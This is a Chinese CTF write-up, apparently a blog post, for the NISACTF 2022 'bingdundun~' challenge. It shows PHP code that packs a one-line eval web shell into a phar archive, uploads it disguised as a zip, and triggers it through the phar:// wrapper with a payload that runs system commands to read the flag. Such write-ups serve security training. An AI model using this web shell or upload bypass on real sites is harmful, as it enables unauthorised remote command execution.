[NISACTF 2022]bingdundun~

进入页面:

文件上传的页面,结果发现只能上传jpg一类的文件,无法上传.htaccess文件,也不存在CGI解析漏洞,无法利用文件上传。怎么办呢?

可以看到提示有图片或者压缩包,想到了phar协议和zip协议,其实在此之前我是根本没听过这两个协议的(惭愧)

第一步:构造phar包

创建一个test.php

代码:

<?php
    $phar = new Phar("exp.phar"); 
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 
    $phar->addFromString("test.php", '<?php eval($_REQUEST[8]);?>'); 
    $phar->stopBuffering();
?>

生成包有两个方法:

1.然后在本机运行,直接访问就可以

2.在这个目录下运行

 如果报错,那就是进入php.ini配置中,

原来是on,改成off,再重新启动phpstudy或者wamp

第二步:

把生成的exp.phar,改成exp.zip然后通过文件上传功能点上传

上传文件:

第三步: 

访问网站

可以看到连接成功,接下来就是连接菜刀或者蚁剑。也可以直接输命令了。

payload:

?bingdundun=phar://273df00f6d13b569a218fa09629ec81f.zip/test&8=system("cat%20/fla*");

shell工具:

  • 6
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值